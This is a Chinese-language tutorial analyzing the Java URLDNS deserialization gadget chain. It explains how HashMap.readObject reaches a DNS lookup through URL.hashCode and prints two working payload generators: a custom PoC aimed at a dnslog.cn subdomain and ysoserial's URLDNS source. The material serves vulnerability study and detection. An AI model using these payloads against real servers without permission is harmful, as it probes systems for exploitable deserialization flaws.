URLDNS
URLDNS算是一条比较简单的利用链,这条链不依赖第三方库,它无法执行系统命令,成功利用的结果也只是实现服务器的一次url解析,主要用这条链来判断服务器是否存在反序列化。接下来就这条链的原理和poc进行分析。
原理分析
首先了解这一下这条链是怎样执行的,代码中最重要的三个类是HashMap,URL,URLStreamHandler。其中HashMap重写了readObject方法,URL类是里面有个hashCode()方法被HashMap的readObject()调用了,URLStreamHandler类是里面的getHostAddress被URL类里面的hashCode()方法调用了。所以整体流程是这样的
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
这里涉及到一个问题,为什么HashMap要自己实现writeObject和readObject方法?
原因是hashmap需要保证键的唯一性,所以它需要去计算每一个键的hashcode也就是哈希值,如果它的键是对象的话,在不同机器不同的JVM里面所算出来的哈希值就是不一样的,所以它需要把键拆开将里面每一个元素进行单独计算,这就使得它需要去实现自己的writeObject和readObject方法,那这条链的第一步,我们追溯到HashMap类中反序列化readObject方法,在它的最后一排调用了hash方法,继续跟进
发现传入了一个Object类型的key,如果key为空,返回0,不为空的话进入key.hashCode()方法
这里调用了key的hashCode()方法,因为URL类中含有hashCode()方法,所以这里我们是可控的
这里说hashCode != -1,则直接返回hashCode,而该URL类的hashCode值被默认定义成了-1。如果等于-1,则继续往下走,我们继续跟进hashCode(this)方法
再跟进getHostAddress方法
判断是否为空,最后执行InetAddress.getByName(host)获取目标ip地址,其实在网络中就是一次DNS请求。
poc
poc有看到两种,一个就是ysoserial中的,一个是看视频发现的,其实也就是好多博客中都用到的poc,感觉这种的比较好理解
野生poc
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception {
Object object = getObject("http://zmxa1k.dnslog.cn");
runReadobject(object);
}
public static Object getObject(final String url) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url1 = new URL(url);
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true);
//这里不能发起请求,通过反射将url对象的hashcode改成不是一
filed.set(url1, 123);
//同样这里需要通过反射改成一才能继续执行
hashMap.put(url1, "test");
filed.set(url1, -1);
return hashMap;
}
public static void runReadobject(Object object) throws Exception {
//序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
//反序列化
ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
}
}
执行结果
ysoserial
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
参考Java反序列化漏洞专题-基础篇